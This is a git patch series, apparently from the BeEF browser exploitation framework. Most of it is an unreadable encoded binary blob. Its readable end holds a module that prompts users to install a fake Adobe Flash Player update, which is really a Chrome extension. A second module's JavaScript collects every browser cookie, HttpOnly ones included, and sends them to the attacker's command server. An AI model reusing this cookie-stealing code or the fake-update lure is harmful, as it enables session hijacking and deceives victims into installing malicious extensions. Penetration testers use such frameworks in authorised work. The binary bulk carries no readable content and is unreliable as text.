zK|=m{B3sHQi+6#|O?9_I&Qpq<9$8Q|rlRh0iDEGj_vbC>YmlY;*x&o}_v>qntYNS1 z4=EPqVV3$SmikDyYsxi6EPZOv?j;OFSqarKn(gptQK$JL*L^pP@TZJwbx{@_(Yv(~7k2*sGAbK;*@e6y6;L){9Y!d!g_6dZ-S&CH8HlF-$+hvp zV5=b{kS?Gaeilx07sAO8=EFmU+IbetXk8l^PQ#>{&N@5)VD^OTh4VM;m-&S(3CrsP zd97jJT56tD%6R7o2X97V;ZK?VZjy31;Q)MKkvseQo;i@Z21awf4%xMSjVZRLJ%-l# z9Hkj{QQjmCKL(>ocvjFgi;3B4umWNgn+*>9k8Gzl_Zs<3ma{eK_Mhz!UvD1{X08tl zwaleoGe6p(7bTF^`?(T`bB|uX!}`;&l=$}s_TPW%E&*U9p+AMf|M)lNBJy}oQ%6FI zEbjv~J?9i6Mwd5xIqj;*geJTk)L%6h4{TMjBqmIL3zON=;jlqFKEJ(K3L|RI~aYxtOw< zmNAauRLM^$6p>%5&GN(wk$j>*D|AXs1HYFSs)kVe0R2 z!|M-P0KB_9lO!h%d9ApmYz{nLj!J_qbQmxIv;bLGdgL83X~2(;!j6wX6IG8D+NW~S z0h>j7wYD%MDr`1djY0Lp3VJqyeyD(JWy3qsj`c*BH6ZS}m!U=d*$uGrfRI4yshAGc zDiaIKu+kP@0HYKRhr^WilAk1?=~NNyMrI?twz0&GBkM|Kn|=*cA*db$bMU-VATu$% zr1q3BxD~_u!7j3%VR4uqoySf;I{d$$1^AAVDQKWfl8JG(i+s?kc}p2RYDNNziZj}T zPNF+v9lF(ex>dhpN*-(H^{v-*pL*B0-+$-*11hf}>#fh{pyIf`O8yEK92Kzd?T4u0 z0)$jWZs@!Dk4|Gw5WTeS?>dGNkPTi<5wX>Zwzm!L=dN}JOhNi=1smUggy(`F_Vno; ztzqNm*)fFvgG{q3hz_lffH=Fd=!oKCLnL}T0w7US8}}5`lIJZ+^)>?tTz--P_*TC!N6 zvQ&N^v<8~a)Wi!w1S8#ZM^;-2yo$lZE<)ziij?{p5?BIE);Znb!)WhiF{>^hb{Aw? z`_*4p+{9s0ThCZIpe9CGhd%yGjOGY3D$&Xt%cpIH&rbf8vOG^~TOP=V0vQ9*yI3hu z)iY^nE!%eR?CXVlv|AX5E_f&4WLRk^5&n|@C}U6@agtfJYhZ&o9#i%!Y$*+z({33` z=9>UiM_lBqD#}o+L3H<&QB&57VG7&s^3B{IJ$m&jz@ULEnU)nK$ab)}{q*c5t9>AL z4AveaXV#BXduW8SlSAY4+{f6&LC*6CnSr z&AruKjvdOkFOIjrVIY7)u%KcP&h!*Rg=hlBytO%w^pExtRtHpag;Z07g7_n7Ghi!Z z?^r~Q?iSw4aMRp7f!p4&f66kp$l~f|`*lMqT=}tSe7s&C!52pw4@4!SuP72rLE8ex zzqtA@3XvW=w_Ic*u*GYIMV6cs=+!$(sKtp}=AZr0-Qp{H#w;A44#K_)X94{fF#l+1 zTFBKgBvJR9nS*lgX8k=*axXe}q5u)drZ~A%6^a(>3%O8+8;%l0@^cvWr8P*W<{`!M z8-i_Jkb*+~Tg-}4qhuJ7Ts3kCrREKVmQJ4GV_`I;-=`wwWa#Bq?p*SE znh{4jGgw|i&QkRG%g0UEy@ZS-8ksxPbV2YJe-cyMgHkK;dji|=-3bZMMPb@vn4^`j))n!goJ`wr40Ip##DC07C>gsd` zf9cp;_=lo1%Y^-58h9w}05}@;}7d=rs)|r4hO_L+&7Ft$QBewN`_7Q;8#ZQz`t{AvAIL z^s5z`BoEYm|635f53zUGp3l!e?w!|qa-zGu2>v=oFon*5ZTvBaCf{0-#obmpH z?h$x{f`)R^sXh7_k`JjjB;oA%WzHkYTD-9dg7Mze(|qPkX~tXExxMhKV{j&tB3b#6 z1WFAl%H3lNHrzzsN-zsJFsa>sH|aK*4Wlh<_T2aPimrX~B4Q|0*EH{ElZHP?-LMKNzX+Y9wAZgok1^Uv0|!tB z-ZzaZgw7wgS)vOH0D(Vi-&}OpCv8*LiYGtJ-UTIPCx-MgoAy2`rjXfaj6lAa#-67@ z+m__Y#3l~BiwSA_#8Kz4N;IEQg^6Cg?QLZ^`>gCohl93gSD7}Kw$9w_ciXhdXXApn z)cFAaJHLt!UZAM3Eb1t{@WU? zV5?S17x){a8jvjnQV9MblnA}Wuky+*)`N&Zi?JrBQ;leB5`ZYKsnUWr(G5WtZPYlB zaJZlLzOAmeXzYS3x$F^u$Ho8l_Eg97e3ZD1=B%>Go5LhyG7#FzA(_CM?)_o&i-%5b zCMEoLUWSJ<=~Ik2q5Uj$97rsZjhS-vDuC2qw#90dW>%{u#gVq$IoQW?hAC@uM+bZg z%!*exRxHr$#CqOYi!=vOE7b|wqJQn6kA(~T6)*35P+iRr*az97T?4u=xZfGJy z@=oA8)P*F<#oBYXBgbC2v|)%dQO!7~HS6|bD$*0^7~|+<9aZv7yZ^0=9 zRMAGJ6n7bNqccXNkGNo@8kS*=rm>-k`M@oAq!Xg?6F0IQ|I?ZK*VQkiV`s-^{D0Yv zOQ*+O>^e8ZSfQWO=PUSPnTUAZbOVOv2$!%`H0t3?&0hS z<&_*?INp_y@y}ogZzvQ&Vo^gz>^<(dKl7&BF0G)rqb&^zsg}I8zd=FqKQU+WIsVj1 zj0;y9v{4-$LNtHQEf}rd^FO4~mYaZeQnHFvPz?Q!(d6t$nDcMKg%7cVex1GB55Dk! zy`}yCsp$DX@1XymRA*4brGWb#Gc4gvEq{mY`Mrs0N=57Y-tka_pK|YJt)@cBB>WeFzgi7G9{4@z)mwkRLgx0*8aWxy%k+%11|9H3m;Nto zmnu}dfVATr%91P-=lr{X&+CSNp35TNhghwru|ZHl+j=?%*7XHRm8s$AlapYh_Q|S} zh{84E3uGDz5!Z2wh%ks$uKdaq?tFLtK@&jn2>|HRYq@ffG;U0&eYhL7(tk4+JO+J5 zD=IzpUw^zW_=XzUKL5Q14Ac{NGZZU6gpP9w%kv-Ky&Jy9v!;WeZ}8PVxc3L)yY}6# z3^kno+EmP(o01z*s$lqR9)Q<^j2COP_mdf|-)`15wS@kECuT2*{R@#`B%gL*naKfd((UwV7%pt#;HZMTs?u;A`4!6CQ?3)TdOV8Pwp6WoHk z27(jZ9fCUqcMIS}uX(|hf;?)zF#+czV_mE)@NwM#u8 zi(W(Nf_10KX9D78#u(<$L3 z<^5;AA+#P+5ip>or_M%j__P5V{^JBf2_JIj0NNCunaFN@C?@>bWXd`^o3membfG1M zsW{f8C?A0YT6ge+=YH|+WB^%z0EXc-0_f67LnL+ZB|SMhJO3U28K}bGM)0J>VX~-7 z(t68xbprK}dQy>Gc3Ukwi^U0v8xq~5cV##kXHT%GA%32hn_ln`aW4ywb!Shoag|Z=PemJM+U7MuxM3 zP?O5!P(Ag0GGg-IrD-KJP1oB!a6@B?kD_U?)mPIAX5FoSyfrSHx{UM-CtBbnd9FvH6c9y?r?U_0?N)tY;m zJcziAbca44;BtL#MKzhci?L?owAIy|Mv_^8$oWb!`fnMhAbO=zR(vg*03|RV%_7eB z$^-D0;|uimPfIEvzHSBhqSzUuC7e+fHTA0*u^sYY5B<*M3 z1=D>kpb*;F8)u?y?4T54%f$A4!Fb18k&AaPxs@ARN9!+#oss%5yNu1H4Ls*fCl^UY zW`1G;Pa;0oAf;3CiGn>qhaPJ*~orp=kAWxL&Bn7UALV7syOXDmj&$|a=7 zUlQqeA(PjvDEsfqAErW_C#*ImA0yo7lzi32*o~}-HV_n1E$}E=LrrNm}6>JhVy1Y~w zM1VwK4tSqFg2WnxCkdwqbfE)obuHN>mpjRM)J%eaUH_+CGWR6eVG$c5!kvH1bXNI* zOt&uf0WRALHKpqFf7j_UXgEa30s~Bxo%o;~qOd9#DNx_<+GS?~QI~+N&gHjVE_T?l zCU^J4ZDGlqIZ6eYKkfFe^TZB;salqb|74Xyq83gtA{TKGYJtH{Gwr2QrLqylZ})$w zczI|EaC(h*unR=^1QKuNnh(HE{yQ?KmF{qHe={2mWlc(L8hX@Cby#r<@<%7Hg?TZ% zuOS+r`!Kp*pN3*PtNl+At_yr#rc4L(M2B5P(#+JdUr`ts`!)FpO_VAR(9mvPkXrUM zM2Ocp(H-UcgZlF+FALZ3(eLP4u$W;*X@c=ez~8g$+6r>7H?8LnvjEp64=9OvkI@Iw ztRTWx)pUeS3Jy5KDu&7>j^Jhbb5-)-G=zH?iw8CTvt&;raIX_xp>lI3JqnMK$(-Y!s@ZULnlW9P_Z{A7zf~@vkyxql(9H2?7yxNir?c ztCI(hD){;eF-7?_<<)h!6R@dQ2PBY&>gA-9Nr&tdprB9TrZZsm zo_NjuZv9u@+sPr|F@Sthb>wp)U+r+UKVJqzb<#%08w-ePdjBD+Xn>cu};J4@Lq32o~c~ z=Lgl1#hIgdTc;e2mlTAW?yBWA{qR_!f7RsutoPLo?Gc?lbFD`H?GNdmiJ=g{D!n)vP7 zIj`Aj6N494G{=vDnb|~-SlGu)&1Cz}r_F*@`=2FIo=mD+)wZ)XNu|pVE5wgYNl>3} z`WvG%yCvH-o^OmU`Ae-zI+9EaQD_XekyI+BC5F6aQDVL7OE$$>U_gImuWXf1nZN2e zqN7J8uxU1#SQKCC^cH4k;ek&DYSo!bWMeZjraXn%6yjpmT%2pN^ruZBSvSg9zA?S_ zkN9fkC6@YX0%-^_?YhBHdC0ns7R;Bw0VQa&*Cq(yirY zKD{|el6H49Wb~86)APRD@_U6u=28-;@&4agxK!gK8q>Z*9UpJEucK7-fqy8UJV1^P z-WJCtFV2TDHP}8`c*|V#QD%HQX?*=2qyS{)y@cBQ2=MhnEcYLFco;5Diplz~x&kr* zWK~Yn?ug0&gMG@Wx0`-)95W9IczPlTLbiC{y@1&R$V?D)^nbP?y;7t7`&l>6|4pyb z|33?{c~_w{)OGjtNK?g{Pv)Z_BU91R>NPq9>L*W3ObpZ^{RLh{^UoKgy}Vjf7?_xu zS6bXJN~TrQNawY+wHXs+Ha9oL?)QtCa7qTgB%1$q~HJvo;oG zI($0R6HSbN`tg3{mDFhz7dWI!5@P!Le(Q8H%=-2E{pUe7S}cjY{CuGX{jLp(aFhJJ z#^t2nCizUCYRtNVP>PC*uq4oXwVUQ9*Bzwt0A)_%vg{XtHeO=tM&Yg-Nm}gO+LykA z8zOa7DW9K;AkUx)q0_-}q6)J!M<%QtpY-Y9CpwvmV#|>y-+o)NIhh~jA@Z2NaJ8$O^~S7ae2uK4Cz z$<`*)x`H7@BhIXmmZv^otd;CM|1)=1r$~dKSqn_uw2TcT7KV5zr@DG+la=@mK1=qyIML5M_6&XLvgq4dHJDURG(pY` z-`kIBU_=@{M$&x^-2KQHmFxKQ@o3oC?CrjoTUuVctE;VLLyn7%?`M@uKCAKzR~V|A z93p_KIq-dCdHT-QQkW!qVN(1(pU~+3s{Z9}i}ofH==fp}`}F*?cFp*Qu8q&%+VCg3 z(f!fArefn4Q9+k6`c8be7=dff z1#aHF2*^FLD!q*Wv;}o6@Z*V}P&Ya?lIF^#c7@~*T@xQpK#B!6bL29F^w!I-7T>yt zvAH6jP(-V-&0F4vugBwl)%8+pccKy9x7+P$h(J{9ZnXE1wHN-P{zljVWQIEt=>r1F zx{jjuSBFw_scyvai1?s>q_zwBq_l&l;3jWkm>;0;0XIl-arC~3P`ky_ojb3k8%6qc zIf=}#@Vf}cjh1|dE8kCTjW5GbpwX*$g;yOq`M|+NV%vvFoqy6%a)>@ENL zW3&&>4uH)rBJyOGNVJ`hk3LPI+rY{ec3R8;4QgMxGb*437z1~pw6wJ8SSImjxFkl+ z4NL7RBLogsw`)>88fxl5{8a#)O}t>W?AU_+xXm!y1Z4i718tOdj!Cx$V%1w`9E87a_+JfKT*w+l&UD@etwwK7I%(R(j=?c3S`y5_(SMb`gVQ zajqsy7|FGDC3lzk!yw42+1vL{r#kh$VJlHyzu#B}Y0#9*> zq}#YxJaV$24WGl_);h2R15liMJwD40z*q!5eSJVDmft1;O_w%W1yjm@J2W;fqX<3_ zasQKE{^;?ktAYr&7 zf(^zo1!t7m9zsSVnuZ z03~BF=KN_P1BPjAyy}amIzZ=-I%fX3c{H|manStXI(6GJ{h`Vh4CPX#QtxA_3w{G~ z%Cy=X+F`# zR?k~)RP$6lY~k&RgAwIFpbqS;ek^w(`4W!fZ=-Hn%Hc5I|78A7XKburdR-CLEc^M$ zD?#p!)XH0*dISgCr$j)-L_Q=vw2jMM{^R{om^Dx(jEL;j>We*Zh41M(_I!9yS1G7i z%aP@$M%k+e%f$nc)KrWkufT&b{9a?S7sOQD8F~`wM+OCe*oN&4h#ztwGh%3O|NJIG zFp1163z*l1hVxPmE4GVIg3s{@Ssw^3AlAT=xb^k*$pUbrHgk|Zvo4QsiOEXO1ukCD z-NMyX(PTkzaPSXY^TnqwAc$kB&b$UKESm3-osc~!mPZWEpFSXQOj3i!m*<7RZKr#D z^D{H{1R#}qW@*HxE>>v5xhS*ccdxLbRGo(__`92*cd3xppFZLlSW}4?)i19&UcCod z@vpMN6duplsf;EPb|&!x)-KfG(z~}wgTy*nUzhjNOSB$ZiSW~H-1uu;quq1Y!Zk5x z!h;q(njNkdY7y}-ISCf2=Bt%*oOx59b!ZoZf~0!;=+^@tYpSIRFYp}cp>wYCbUH}L zd4DR;j{3l+$jHs_cW<5{qo8P(s-=}~9+d06@SnEpHMiBx^OepRiiwGlMA3fwnx~3W zvej_L#s~N%pxtAulZPSP$POWi8!G@uKY6*KVFCfn^dr*zhErwQsQX&0Z*-J{Ea3e^ zNVenrrIiGYMb7MJh zjga)i3W5envAt~1f`0v2IKa${b_bk=pf-=3LCE9dAhnaHVnwjLen#}8p9QH+>|N?d(3jGp>FlMdX2yb@ zt|tM@A0v{T&)N9N{SUq0U#Fj|Vk>s%rf?>xXUOV@xcId^`HzV!7KE6V*@h8cCiivpY)N9Tvh{0&)2%&2JiN_A{T<| z>ZD^=gqILMDjo37s;pd9n?~C4Q%ZV|tt{98VPrMT&a|)2u^j(k5NT7PxSnAyOpgfr=FxJi{cSjqp%)BGMjLaU)fpmf|gI7>H=%k zemd6ty2F1xk~WVV@wni$a?k@D#kiudY{jb*+OT z%Rxy1fk2J~s;@8yO_wn?!f?~4iCrxfnLWO1p0mWGkXQH zqV02Sp3y=@Cw$DBvcBq;v#2192sQyD=^?S_*>avl@1bsUZWCTOm)V9 z)&l=_^{kNHZqn?&ai!zArFf!Dh6equjVK4MwFpaxpr3fVsv3|l?+Ig+g{HRPBkp5T z{d$^%{dZD15(UyZ6QDu~R3Xn@MTO{&6ucFB-{HcEsCt&f`EF><1mu*|saRw~uxcfV$_u~O*=$6t`wEHFNyI&JG~a;_O^z6n zAB=2w3!q^evrkoNmEBF@MSK0q1}%!Fpg9vt5$AhEdO!4)aSwlV7;Cck2(u2$*2)j0 ze7BXu%|zah0#}yN&691p)?eG#tWMn%7C)#9`}K2GGCq$5AOpQ+~%-_*v0w-nB2)47g8mW`N?h7#@*h! z6{&pE)&>fUZS|58F5#-ih6W9Wgxo(3WQ*z z-Uxh7dD&QMr|wAR@DPfg$A#Nf++;KSpdO9oq|z>Fv~mZt_^o0g1K0twv_U1DwbdEl zuAg4XkbJ&_Si-yh&l%;$DSCe8F$ef~eB|5!80`|`*8>d*3lO}TR*K4l3IXaZ-^wXQ zZ2%(jQLh68Qho(ZI3oafUxaBu_+>?oOHStD>0pIH=IBtRvnq;(6amQQH4~!dk{Kk zAyvr140m$W2b2I!bUkm5FzN%eG!e=7dcWXZcZ4n9w3H9Z7Yq{ACcJn{3BN{~`VRmj z$jYknbe7kv+}Pu3{6`gFL0C?ywN)|H;lUz0$#>=neXTA zwlCw2p=x`@Zyon%D}I1?0TbgDAvQzeI~o2Qo^9Z za76tR+46A~j9OTh$Jcl;6$Un@iXH%3oiRnINB8G}OsEmK%lfBE!LhNiqnU#I9mo#+ zeA?dZ9mvR;Pkl*1>i2jEV;I)UR z?{j$VH_2Q853G)aP{VyJ>;#2nH8#|$C(*F}yT#pDm4(jyKuKLVXuI8$|^ka)xsN;B& zqCO2Spp~RlDPToKMqcxzuii>Rzry;sb_SAg2Z03E>@Hsmt5_}GsSKTvwjLztc@nB1 zHg1NG0ZA@2NXKPo$=zM73%5IAF?INjq4{1<)X!C5r=Gr_hCXme*E4)Db*wMwmcMDs z|GWTz{IDRzzp6j+zf}J&UyksRW0hTB&X@0003}?muypP_yBnN}4I#lfq+R7w6P;XjKpFIZX$4qt{lf^WE`ZT6_koGg0=rl~!FfP|zSlae z*9Aq38dVnXEl`EJzc=83wt0mZb9yK0I40}fh^s9jyMC&m^*NtH^htwfv+K5h)VzKf zA!WSpR5s0S8}K!k=H%vU|1&Xn888}uSe-2^SI7_&6cAwK`F;J#``58x;EJU*&_}0U zNG**30x<**>(^IK`{Vr&hU4e%$q%a)xjTT~MdDkqYf#PBt*#oMTo$T%`B>uM)5C6k z(7DR~TjkhiHMe`MBqO?GJX7(z;-4?A&Bx;0Ze_5fX{N0BNvX4gv5nSIL%9{`r4~L8 zK(nUAnM=M~p+xt+7y366#b3D1D|Wj+H7;8j;{Xc$8%Gf5>)A%H-9LIibU6fYiv+@$ zn?PoEHhIakMYXfnQ|*B-{PT_F>@1g7!L)~!nOXnlSxAKSZPxvg6v>7V%HrW0ItCr? zKX4F1Af0cXLOKHeOJgdv0lSa|Q(OH8Gm~dgGyUMfOX&Z=arf2=z5o?yu@iNsKS0|K z*hIaZ7~y^DscaiZp&CVs?T9Y-M!+|A?SN?hf9+X!DK#t4t3{xpkiB*Iv9ny?*RkZ+ z$831eI3Ab9Jh%~&*U9Jp;lkYga+0Z*y6qLV-foE6vI(muVBKTk%kP-Vd|6J}(8|NW zc)M@)-VFg|Tes`DY9b$oiS;61tIHh06d9M|-wJ=X=U8pU-_bsmo6jHyHF({zcd?p2 zpGB>3m@?}$T>_lFe-2&!B9m?^2sG!SdN@tM9jOfm0>Bl3k3G}I1%0XZL21Q|jW0+W ze$%?X+vtvslvNRD42U2AMfzdVunH$R1@o%5?;nX@H}78(zejZK5DB;XqUJO-2X?`s zAmY=Zj<9(g6@3mG-ZRo9VE=OCSpuE`&;G#(>p|6x$p2dHKYQ;QZG?TuP}-8L|_;I*#yWCobx!Y6t=!_&Z-S9#>pOEXaHcwirWez5#3jk`d zarO z(aQvE)TJIyt*)cT4}hGvghj->aHLiG=Od8Cm64Ybu10{`-@_taBeP!q7e&9R@Rw1` z7WMw>wd}+FJ>d9e6qtOwkd*#UDZfJk0ia)tYc6!Us?9YKS)AV6{N-GYR;3Lv{SI-X zNG4carUF&KA%!@;4Y1xsU_|7YTWyHweF~W`0SSi@^b=f0OyEC2x0=#Y<1^^ZsFqYc zJwR?S9SBMK47-7!Y}m@kkoJEtshcS<0$NSx-CjvSfS z_OWT}GV+kLi9yx0i@+jiMqz%_1GVJjV)CYPb?CE^0mvwV^IVYaDksuEh_n68D`)Bd zcM`kY8Ex3+#s(F}K#ln%92{J1TwJ+!<1g0X-Q8WI#lJ@#LZ<9~L?tAo%aDMBi)*{m zayPwSJQ8Ka%*>o9lXrGTF3ep5WJwU=bWSNRja92$Ed!Eb;SiVqN7CAy`1&sov+iqf zT0D*?2X)~rhUwnXDmV={32VX)Ok-99WRL+lg;P^g@Z44!EoKwLHJtSiN(;j^65%-3 za~0(8-X-J|j*~k)-AgcYm#;&B6JdQEz1k+(ouA;&v;XYnn?+yyQ>!1phyIa6$T+J^ zZdLi_;>IebnZ0vsTbz=}&R}fJ^@zCCEBiBaH6bvi071T$GrM6ga%w*H07j60vMBJ^ zDQXg}-$oxZ&M9cv8xf5@(rlr!NHUV1YC8wvTcSt-zGdPr?!~`BT`L$++_$c#om-_- zCK`dAn8;0jwqaskePqFV11o9}3j|2OZ!k6)Jx`!P=ICby(qazQ{^87bZq_75>kP-6%-TKzm2a%lJp2BN(8%iWs<)=bnAa{k@T=hc4JUZbD#42qd}ikyox6 zGTKpT8Li-Bq23E&z%Y|2_>2WnmO46@m@0I&p`XBtCU#^b@n?espVQx>(*~2tw^Xp(DnY2Q!LUkIA(Gg&kd!$2)FoRFcKHxMZ zD|MiRvaN7h*V`9~O-|+oOBq88w*0nGcKk#)KSBb3^(D!$n%-I|EguCHX{f&n0k)?W z)6kH9X84elBUUoeh(8fSKI3HP*6wh^`|(&}XISB8G~&6XE4AikO)NW$_9{)UB!9n! zvlo#OpXJ#jqt~aZ(^&Vj!xctMTVb^Bd>iFnT0068rP_2dd|g4Fyys`FeyQu&<=VV5 zh7rzQjjz-{?xm3OW^s;m?j>z>3EozxO7q(5eWhkzuGqGt>0(-e50+d`H1s zF?)M3P*SE*N1KNY*Q-HDmg8H({G+F16@6^42JV8bnSW=cg0DvnCdo?RRC4257Ye}$ zr{Nw&-bZ&tv~3{?BC}^u>A^QkgB&IXGyiKHB|oC#~nZT55Tsqh6#EQ!-6lv(GKeujAr3gNtoJpu0LD(?~N` z(rz)1jSYTi=O)k&PhxqgNJ5rCReCz>ZL}mAz*mwKfZ=0lpOnDQ=gmJ{Q^!scFgoVB z{2j%w+L+I~qMkL(!oS3jd7j~^TWo)sJG|%EY?f0nJx!QxSjuXgqFkw{ia&33VR|3^c;+WU1y zu-hNzkdS>>Ti$7T-h3ff_>9NBAWHDyS=*Cm(&+bAnm2|G(5_Nx(G_fAiYO_kniH$6 zVlS2<{XTgaPQ5Jd(HWpG=MjtiVeXl>uFi5PvE3o)l%iz4uoM(uwacz|xv>{5b zm%8}h458v2A7Z-5wAbqq9X@vvq8u%La~C|$f#37ZvZ1;{#8KP+AxdFk$y<_XfxOr8 zeT4kktDWxv%!c$qW>!}3W^u+rEyElu3Viy~hiuKIg;~nS#E>8Mly1B^$k3;ySl-t^ zZPLvA6sUCafo5;A+P-5FlXq%8Z`*_xvzCXy-%9&vnEcs*tQdh)x`|2V<-M}9d7bd{ z1$rt%8n>;^miCxJ>OEg*$gbSg(qL1C%u&)R!t(@Vrv_N?0{Xx03?n3kt|#Q(x|v7s zO=&0v(Y{^s{|Jq{hjAB~g7%N0>3)%njhZM#31#3}r|e;QD=pql^ZQGm>_BK61_Fp| zszHbU%uPUjVPVOpzQM?0=w%G$=3CucbpaBEsnl!lncUW3M0n%i{VaW`1=CRsorMb| z^#SF#?f0N*QrldttM1pvR9~ZRV{uIR5r`zXYV6#qeOobVJ)Vx4-i;jz>S*5`=`$Z$ zJ2zF;dekz6hR~^(*z+E3NV6H7P;vkhyY2DVb)u6OYi^ZK3(Zw1amX($oS{gXk!`e0 zzdS4fk;f=aJ6o)O0zZ#jJj|AZC!zi3UCb7J5D3e1$%NLA z3>g`jlbd_-h>6>#!S;H&WxY+mUeCrxh?|v_?Da2J=Yuz&F1SjQgw7TfxEgSn=97y# zQnr8I8#j+POdEYr$Y}~1J#RIB9N7HE`E>m@W-vfdrDyeik7MDyScw9I#Vz7FH!MWw z#in7u2p?rk-BsoAEvZMTWQBY|cvxaN$ti~7fS8Fz^ITyj0h3Deq(pe46%_?LmS8fI zr?KMJ*mFuqVeU_rNxKbJ;!;#`V>&%k9HcGt>b>*Dz9!{}{L*g^;r>|*Cv1!%LLDq& z{xUPka*ig&(o25`2<8K%pI{W@z7`r@-VoMq6w(S9;8wDTXyaWGN?$W0f^YNCH&7FS zTW>W(4E!*ES_cKfuvt1jM2i{QIXF3KzhCjpP%rm+JnK`=m(!1MZ(Uhe#-yNl$ShVL zu04SB78k!x#a3NR6EdTw*smzlZm4$uoKMf+czl^+p>Pz08E-5Xra`kmS-H=kZc0*m zgjUZxs$!nW`#a-Y{0|R>GjUOq;*939{=vcmw@X6=3#T}rPT2I5H8aO_v+gP|6dvB~&fZ75 z*|sb(L!Z2N%PdM`b`J;O)Xncsgp*a@-88p{bBZifx9pc~FXSuv2Ed0nkykrZb*eTS zQD#_?_ymddxk;?p)`b1YvI`rRAgYs+e33+y#7;kr*+@#DvLD#_t=C&)00%myHw?#R z!SVIHS#~uYPEVOL!x%WI%OXvtZ>E_#uxT7G`YkQx!Jn$t91=2>(%WI2&`LZa=n7jB zkbq#xQPT`Q>&>3hj-%nNvHQ^TK_^(9w!C?(g_iR6K~?pb$bC#~5w|3YsCahSA-g&& zWJ*)Bc=Rj3oP=um^h#~U)6m3JSs62hk|}=PTf3)`;_51ujAi9-L6=m(RvuL=3w|!e zAFC+@Nyjk~UrLdfe`zgq+^CF3NWvS8dMR|BZV_Br-)8cP;LKe$d%60Nep;y0|APC= zhqSWegKh2y!+81I*JtpuWpmRl#}10uiL&~WNT6uC6TSA#tSp6o@LJrYElzcua`w*c zn99It{zH^`+mlqfdS9`T`lLEISMaoIKPx&N^u++SD$d?>86m>b8NT%1m#`f5`U!b= zXm(4(mGl^KNe~wFolb-QD_gX!7!`Yn%kO=A4`Rad#p7HeMquq&*cou|g=*z#k+ckV zvLy4>9{g7pdXnZ`r>BA!=V=hg&>yG(f#we!BU<3)J7Yf>coESAqB+o{S4GAT1-u%I zxh=;lHFXGxmgcmDP;mXIqU(}|$LPaft@^7l$~ z%SWjDM-sA)!az>?OT)U|G6H&!z`s_5v!tb1QbYzWAJ#@H)Yt_ysb?m;?c`V6Q5uh( z(_U}eP$~8#>%~t3ly)KvX#3uab)_%P?^^0E>tBp3iz%6o>NAqwVdod{CnmdR?(jqc2MHXkLx}5d2Z1qrBGQAX7v!wF{-8X3fxff!8Zz>J zBp$|BayHLH;K&^wpY5knCS$IgpHg8v_V`0Ms|tTAtoY7R;ogne3+#Bg3mHaKLWhg3 z^w)!XFgW_`(`#HXCOHjE;UPnkn?W48xmi(7xlO^9R@%_;XTrVj`sr)#6NadT4jDyi zG`sBxfzAhsy{(js#k%Wv3%Rh$+0Z6%m1qLEFbw|)^eGPW z^Zzp{l5N$L-N4+#l|D+FP_j1mJwM*+`d;iZiIP!>qSY&OL%WvG8|z^Hbb9h_dwHCA zvloSbQ%6$46ZUp{n6m1~T{Xcp+5+xODb8!|tzidV*XSF_S3ATK?wKhPPkKPU>O}Zv zj?Qu*KSA?3BV!zz+~(?XXfe6oqo}4#spXt-e>VemAtIE=?w4vMFhYamW%%8j;$!d_ z@S+(Hqt(V-gWBh}zt%><-#elYz}s3xRWvvP&$U(#8i>Fcy^0b{!LCheprXb2Mce~f zA6jCSTe3f9$S?x;G;jY3RU!6U(J{bFpCwrcwE{5o6{ zN6Nlub4#IB)4dyeLHaueXyQ4IqEp>b~rwr?y*4+}p_zWRzAu;_&OW_Iq6RE{www=jmA=Anw2wcqWZ(}c6wPsk@~LCF>4X`Cc}ybgfl;PsThe default install file is a Chrome extension." + description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
  • - Access all tabs and inject beef into all tabs
  • - Use hooked browser as a proxy to do cross domain requests
  • - Get all cookies including HTTPonly cookies

See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source" authors: ["mh"] target: user_notify: ['ALL'] From 5aa2cefc431cf8feccb2c75ae91fa3f61ac5a303 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Tue, 29 May 2012 22:44:03 +1200 Subject: [PATCH 13/26] Chrome extension module for stealling cookies inc. HTTPonly --- .../get_all_cookies/command.js | 29 +++++++++++++++++ .../get_all_cookies/config.yaml | 26 ++++++++++++++++ .../get_all_cookies/module.rb | 31 +++++++++++++++++++ 3 files changed, 86 insertions(+) create mode 100755 modules/chrome_extensions/get_all_cookies/command.js create mode 100755 modules/chrome_extensions/get_all_cookies/config.yaml create mode 100755 modules/chrome_extensions/get_all_cookies/module.rb diff --git a/modules/chrome_extensions/get_all_cookies/command.js b/modules/chrome_extensions/get_all_cookies/command.js new file mode 100755 index 000000000..4a531214b --- /dev/null +++ b/modules/chrome_extensions/get_all_cookies/command.js @@ -0,0 +1,29 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + the_url = "<%== @url %>"; + if (the_url != 'default_all') { + chrome.cookies.getAll({url:the_url}, function(cookies){ + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies)); + }) + } else { + chrome.cookies.getAll({}, function(cookies){ + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies)); + }) + } + +}); + diff --git a/modules/chrome_extensions/get_all_cookies/config.yaml b/modules/chrome_extensions/get_all_cookies/config.yaml new file mode 100755 index 000000000..afb1db64e --- /dev/null +++ b/modules/chrome_extensions/get_all_cookies/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_all_cookies: + enable: true + category: "Chrome Extensions" + name: "Get All Cookies" + description: "Steal cookies even HTTPonly ones (providing the hooked extension has cookies access)
